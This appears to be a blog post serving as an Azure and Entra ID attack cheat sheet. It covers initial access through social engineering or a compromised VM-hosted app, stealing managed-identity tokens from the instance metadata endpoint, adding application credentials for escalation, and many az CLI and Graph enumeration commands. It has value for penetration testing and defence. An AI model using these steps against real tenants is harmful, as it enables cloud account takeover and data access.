Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are:
- Azure Active Directory (AAD)
- Azure Resource Manager (ARM)
- Office 365 (O365)
Initial Access
Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.
Entra ID Directory Role
Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID.
Types of Roles:
- Built-in Directory Roles
- Global Administrator
- Application Administrator
- User Administrator
- Custom Directory Roles
Accessing APIs in Azure
Entra ID - Access via Microsoft Graph API Endpoint
{HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters}
Azure Resource Manager API Endpoint (ARM-specific)
{HTTP method} https://management.azure.com/{version}/{resource}?{query-parameters}
Microsoft Graph API
{HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters}
O365 API (Management, Outlook, and Other Applications)
{HTTP method} https://*.office.com/{version}/{resource}?{query-parameters}
Fetching OAuth Tokens from Azure
Resource for ARM is https://management.azure.com/
Resource for Microsoft Graph API is https://graph.microsoft.com/
Resource for Microsoft Graph API is https://graph.microsoft.com/
Get OAuth Token for Azure (ARM):
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Get OAuth Token for Microsoft Graph API:
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"
Enterprise Applications Included in Office 365
Office 365 encompasses a variety of enterprise applications, including:
- Microsoft Exchange Online
- Microsoft SharePoint Online
- Office for the Web: Outlook Online
- Microsoft OneDrive
- Microsoft Teams: Access Teams
- Microsoft Intune: Endpoint Management
Office 365 Management Access
Web Portals:
- Main Portals:
Simple Enumeration Steps
#login using compromised account
az login
az account list
#Get the user ID of a given user
Get-MgUser -Filter "startswith(displayName,'UserNameHere')"
#Get a list of group, specified member part of
Get-MgUserMemberOf -UserId [UserID]
#List all objects owned by the user
Get-MgUserOwnedObject -UserId [UserID] | ConvertTo-Json
#Get an application object id & app id :
Get-MgApplication -Filter "startswith(displayName,'prod-app')"
#Get a list of all application in Entra ID Tenant :
Get-MgApplicationOwner -ApplicationId "AppObjectID" | ConvertTo-Json
#As an app owner, create an application credential.
Add-MgApplicationPassword -ApplicationId "AppObjectID" | ConvertTo-Json
#Check the directory role assigned to prod application.
Get-MgDirectoryRolememberasServicePrincipal -DirectoryRoleId 664f8b57-19df-4893-91f2-6657c3d27b5c | ConvertTo-json
#Get all the role assignment “dev1” user have on azure subscription
az role assignment list --assignee 'dev1@domain.com' --all
#Enumerate VM Instance and it’s public ip address:
az vm list
az vm list-ip-addresses --name prod-vm --resource-group PROD-RG
#Exploit public facing application and retrieve access token of managed
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version =2018-02-01&resource=https://management.azure.com/"
#Configure access token in az powershell cli :
$token = “AccessToken”
Connect-AzAccount -AccessToken $token -AccountId [Subscription ID]
#Now Check Again, role assignment of managed identity attached to vm :
Get-AzRoleAssignment -ObjectId [PrincipalID-ManagedIdentity]
#Enumerate the MS Graph API Permission of given Application ID
$app= Get-MgApplication -ApplicationId [APP_ID_Here]
$app.requiredResourceAccess | ConvertTo-Json
$res=Get-MgServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"
$res.AppRoles | Where-Object {$_.ID -eq '[RoleID]’} | ConvertTo-Json
Using AZ Powershell Module
powershell.exe -executionpolicy unrestricted Install-Module -Name Az -Repository PSGallery -Force Import-Module Az.Accounts $token = 'JWT Token' Connect-AzAccount -AccessToken $token -AccountId [Subscription/Tenant ID]
Microsoft Graph CLI - Powershell
#Installation Install-Module Microsoft.Graph -Scope CurrentUser -Repository PSGallery -Force #Validate the Installation Get-InstalledModule Microsoft.Graph # Auth via browser Connect-MgGraph -Scopes "Directory.Read.All" # Import Module powershell.exe -executionpolicy unrestricted Import-Module Microsoft.Graph.Authentication # Get OAuth token for Graph API curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" #Logging in with a token $token = 'eyJ0' $secureToken = ConvertTo-SecureString $token -AsPlainText -Force Connect-MgGraph -AccessToken $secureToken # Get currently logged-in session information or login via Browser Get-MgContext #Generate an AccessToken with creds az account get-access-token --resource https://graph.microsoft.com Connect-MgGraph -AccessToken [TOKEN] #Get a List of all directory roles Get-MgDirectoryRole | ConvertTo-Json #Get a list of members of a directory roles Get-MgDirectoryRoleMember -DirectoryRoleId [Directory RoleID] -All | ConvertTo-Json #Get a lists of users in Entra ID Get-MgUser #Get a list of group, specified member part of Get-MgUserMemberOf -UserId [UserID] #Get the user ID of a given user Get-MgUser -Filter "startswith(displayName,'UserNameHere')" #List all objects owned by the user Get-MgUserOwnedObject -UserId [UserID] | ConvertTo-Json #Get a lists of all groups in Entra ID Get-MgGroup #Get a List of members of a group Get-MgGroupMember -GroupId [GroupID] | ConvertTo-Json
Entra ID Application / Service Principal
#Get the list of all applications. Get-MgApplication #Get the details about a specific applications. Get-MgApplication -ApplicationId [ApplicationObjectID] | ConvertTo-Json #Get the detail about owner of the specified applications. Get-MgApplicationOwner -ApplicationId [ApplicationObjectID] | ConvertTo-Json #Get the details about application permission for an application. $app= Get-MgApplication -ApplicationId [ApplicationObjectID] $app.RequiredResourceAccess #Get the details of App Role for Microsoft Graph API. $res=Get-MgServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'" $res.AppRoles | Where-Object {$_.ID -eq 'AppRoleID'} | ConvertTo-Json #Get the details about delegation permission for an application. $app= Get-MgApplication -ApplicationId [ApplicationObjectID] $app.Oauth2RequirePostResponse | ConvertTo-Json
Enumeration : Azure Resource Manager - AZ CLI
# Auth via Browser az login # Auth via Service Principal ( App ID + Password ) az login --service-principal -u ApplicationID_Here -p PasswordHere --tenant TenantID_Here #Get details about currently logged in session az account show #Get the list of all available subscriptions az account list --all #Get the details of a subscription az account show -s Subscription-ID/NameResource Group :
#Get the list of available resource group in current subscription az group list -s Subscription-ID/Name #Get the list of available resource group in a specified subscription az group list -s Subscription-ID/NameAzure Resources :
#Get the list of available resources in a current subscription az resource list #Get the list of available resources in a specified resource group az resource list --resource-group ResourceGroupNameRole Assignment :
#Lists of roles assigned in specified subscription. az role assignment list --subscription Subscription-ID/Name #Lists of roles assigned in current subscription and inherited az role assignment list -all #List of all roles assigned to an identity [user, service principal, identity] az role assignment list --assignee ObjectID/Sign-InEmail/ServicePrincipal --allRole Definition :
#Lists of roles with assigned permission [Role Definition - For Inbuilt and Custom Role] az role definition list #Get the full information about a specified role az role definition list -n RoleName #Lists of custom role with assigned permissions az role definition list --custom-role-only
Comments
Post a Comment